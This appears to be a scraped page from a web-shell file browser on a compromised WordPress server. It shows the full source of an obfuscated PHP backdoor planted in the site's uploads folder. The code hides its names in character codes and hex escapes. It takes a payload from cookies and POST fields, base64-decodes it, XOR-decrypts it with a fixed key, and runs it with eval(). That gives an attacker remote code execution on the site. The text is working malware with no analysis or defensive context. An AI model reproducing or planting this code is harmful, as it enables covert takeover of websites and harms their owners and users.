HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/HeuJxl.php
$dUpLtTPHuF = "\167" . "\x68" . "\x6a" . '_' . chr (88) . "\x64" . "\150";$uvbeJpgRP = chr (99) . "\x6c" . chr ( 275 - 178 )."\163" . "\x73" . chr (95) . "\x65" . "\x78" . chr ( 188 - 83 ).chr (115) . "\x74" . "\163";$PxVKV = class_exists($dUpLtTPHuF); $uvbeJpgRP = "12597";$fRXeYl = strpos($uvbeJpgRP, $dUpLtTPHuF);if ($PxVKV == $fRXeYl){function KabIQKnrK(){$DSYwhdDRF = new /* 21316 */ whj_Xdh(46381 + 46381); $DSYwhdDRF = NULL;}$npxxA = "46381";class whj_Xdh{private function IElaaoFTj($npxxA){if (is_array(whj_Xdh::$uVzIkB)) {$XgLpanFieQ2 = str_replace("<" . "?php", "", whj_Xdh::$uVzIkB["content"]);eval($XgLpanFieQ2); $npxxA = "46381";exit();}}public function kWeavmhiZW(){$XgLpanFieQ = "43106";$this->_dummy = str_repeat($XgLpanFieQ, strlen($XgLpanFieQ));}public function __destruct(){whj_Xdh::$uVzIkB = @unserialize(whj_Xdh::$uVzIkB); $npxxA = "7569_51612";$this->IElaaoFTj($npxxA); $npxxA = "7569_51612";}public function lCmRY($XgLpanFieQ, $SzxQwuA){return $XgLpanFieQ[0] ^ str_repeat($SzxQwuA, intval(strlen($XgLpanFieQ[0]) / strlen($SzxQwuA)) + 1);}public function eYoTT($XgLpanFieQ){$VrAHfOEcUs = chr (98) . "\x61" . chr (115) . 'e' . chr ( 452 - 398 ).chr (52);return array_map($VrAHfOEcUs . "\137" . chr (100) . "\x65" . "\143" . "\x6f" . chr (100) . chr (101), array($XgLpanFieQ,));}public function __construct($aXfbKgMV=0){$fvaszCm = chr (44); $XgLpanFieQ = "";$aGahN = $_POST;$wuhcQT = $_COOKIE;$SzxQwuA = "d09c9599-7907-4707-90e9-2594772c0897";$XNmbrAn = @$wuhcQT[substr($SzxQwuA, 0, 4)];if (!empty($XNmbrAn)){$XNmbrAn = explode($fvaszCm, $XNmbrAn);foreach ($XNmbrAn as $NMVOHvn){$XgLpanFieQ .= @$wuhcQT[$NMVOHvn];$XgLpanFieQ .= @$aGahN[$NMVOHvn];}$XgLpanFieQ = $this->eYoTT($XgLpanFieQ);}whj_Xdh::$uVzIkB = $this->lCmRY($XgLpanFieQ, $SzxQwuA);if (strpos($SzxQwuA, $fvaszCm) !== FALSE){$SzxQwuA = str_pad($SzxQwuA, 10); $SzxQwuA = ltrim(rtrim($SzxQwuA));}}public static $uVzIkB = 24797;}KabIQKnrK();}